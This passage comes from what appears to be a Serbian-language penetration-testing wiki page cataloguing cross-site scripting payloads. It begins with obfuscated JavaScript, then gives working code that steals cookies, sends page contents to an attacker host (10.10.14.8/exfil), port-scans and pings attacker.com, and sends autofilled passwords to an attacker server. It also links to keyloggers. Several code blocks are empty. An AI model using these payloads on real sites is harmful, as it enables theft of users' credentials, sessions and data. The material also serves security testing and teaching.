(ﾟｰﾟ + ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + (ﾟｰﾟ + ﾟΘﾟ) + (ﾟｰﾟ + (o ^ _ ^ o)) + ﾟДﾟ[ﾟεﾟ] + (ﾟｰﾟ + ﾟΘﾟ) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟｰﾟ + (c ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟΘﾟ + ((o ^ _ ^ o) - ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + ﾟΘﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + ﾟΘﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) - ﾟΘﾟ) + (o ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + (o ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟΘﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + (c ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟｰﾟ + ((o ^ _ ^ o) - ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + (ﾟｰﾟ + ﾟΘﾟ) + ﾟΘﾟ + ﾟДﾟ[ﾟoﾟ] )(ﾟΘﾟ) )("_") ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS uobičajeni payloadi ### Nekoliko payloada u 1 {{#ref}} steal-info-js.md {{#endref}} ### Iframe zamka Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite njegove akcije (uključujući informacije poslate u formama): {{#ref}} ../iframe-traps.md {{#endref}} ### Preuzmi kolačiće ```javascript /?c="+document.cookie> ``` > [!NOTE] > Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly zastavica postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako ste dovoljno srećni. ### Ukradite sadržaj stranice ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open("GET", url, true) xhr.send(null) ``` ### Pronađi interne IP adrese ```html ``` ### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Hvatanje lozinki za automatsko popunjavanje ```javascript Username:
Password:
``` Kada se bilo koji podaci unesu u polje za lozinku, korisničko ime i lozinka se šalju na server napadača, čak i ako klijent odabere sačuvanu lozinku i ne unese ništa, akreditivi će biti ex-filtrirani. ### Keylogger Samo pretražujući na github-u, pronašao sam nekoliko različitih: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - Takođe možete koristiti metasploit `http_javascript_keylogger` ### Krađa CSRF tokena ```javascript ``` ### Krađa PostMessage poruka ```markup ``` ### Zloupotreba servisnih radnika {{#ref}} abusing-service-workers.md {{#endref}} ### Pristupanje Shadow DOM-u {{#ref}} shadow-dom.md {{#endref}} ### Poliglot {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} ### Slepi XSS payloadi Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >Click Me For An Awesome Time "> ">